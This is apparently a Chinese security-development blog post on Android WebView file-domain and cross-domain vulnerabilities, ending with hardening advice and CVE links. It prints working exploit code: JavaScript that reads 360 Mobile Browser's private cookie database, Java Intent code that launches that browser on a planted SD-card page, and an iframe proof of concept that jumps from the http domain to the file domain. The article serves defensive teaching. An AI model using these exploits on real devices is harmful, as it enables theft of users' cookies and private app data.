Android安全开发之WebView中的地雷(2)

yaq 御安全 关注 入门新人 普通
发表于其他技术文章版块

0X04 WebView域控制不严格漏洞

setAllowFileAccess

Android中默认mWebView.setAllowFileAccess(true),在File域下,能够执行任意的JavaScript代码,同源策略跨域访问能够对私有目录文件进行访问等。APP对嵌入的WebView未对file:/// 形式的URL做限制,会导致隐私信息泄露,针对IM类软件会导致聊天信息、联系人等等重要信息泄露,针对浏览器类软件,则更多的是cookie信息泄露。

 

setAllowFileAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowFileAccessFromFileURLs(true),允许通过file域url中的Javascript读取其他本地文件,在JELLY_BEAN及以后的版本中默认已被是禁止。

 

setAllowUniversalAccessFromFileURLs

在JELLY_BEAN以前的版本默认是setAllowUniversalAccessFromFileURLs(true),允许通过file域url中的Javascript访问其他的源,包括其他的本地文件和http,https源的数据。在JELLY_BEAN及以后的版本中默认已被禁止。

 

360手机浏览器缺陷可导致用户敏感数据泄漏

以360手机浏览器4.8版本为例,由于未对file域做安全限制,恶意APP调用360浏览器加载本地的攻击页面(比如恶意APP释放到SDCARD上的一个HTML)后,就可以获取360手机浏览器下的所有私有数据,包括webviewCookiesChromium.db下的cookie内容,攻击页面关键代码:

function getDatabase() {  

    var request = false;

    if(window.XMLHttpRequest) {

     request = new XMLHttpRequest();

      if(request.overrideMimeType) {

           request.overrideMimeType('text/xml');

       }

    }

    xmlhttp = request;

    var prefix = "file:////data/data/com.qihoo.browser/databases";

    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

    var path = prefix.concat(postfix);

    // 获取本地文件代码

    xmlhttp.open("GET", path, false);

    xmlhttp.send(null);

    var ret = xmlhttp.responseText;

    return ret;

}

 

漏洞利用代码:

copyFile(); //自定义函数,释放filehehe.html到sd卡上

String url = "file:///mnt/sdcard/filehehe.html";

Intent contIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intent intent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

 

0X05 WebView file跨域漏洞

Android 2.3 webkit或者浏览器APP自建内核中会存在此类跨域漏洞。在处理转跳时存在漏洞,导致允许从http域跨向file域,实现跨域漏洞。以某浏览器4.5.0.511版本为例,写一个html,命名为filereach.html,存放在服务器上。该浏览器4.5.0.511的X5内核存在http域跨file域的漏洞。POC代码如下所示:

<iframe name=f src="www.baidu.com" ></iframe>

<script>

    function init(){

        f.location = "file:///default.prop";

    }

    setTimeout(init,5000)

</script>

在浏览器中打开服务器上的filereach.html,将从http域跳转到file域

 

0X06安全开发建议

1)使用腾讯御安全类漏洞扫描工具进行基础开发漏洞检测定位;

2)建议开发者通过以下方式移除该JavaScript接口:
  removeJavascriptInterface("searchBoxJavaBridge_")

  removeJavascriptInterface("accessibility");

  removeJavascriptInterface("accessibilityTraversal")

3)出于安全考虑,为了防止Java层的函数被随便调用,Google在4.2版本之后,规定允许被调用的函数必须以@JavascriptInterface进行注解

4)通过WebSettings.setSavePassword(false)关闭密码保存提醒功能

5)通过以下设置,防止越权访问,跨域等安全问题: 

  setAllowFileAccess(false)

  setAllowFileAccessFromFileURLs(false)

  setAllowUniversalAccessFromFileURLs(false)


0X07参考信息

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-6636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-4710

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1939

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7224

http://drops.wooyun.org/webview.html

 

评论列表 评论
发布评论

评论: Android安全开发之WebView中的地雷(2)

已有0次打赏
(3) 分享
分享

请保存二维码或复制链接进行分享

取消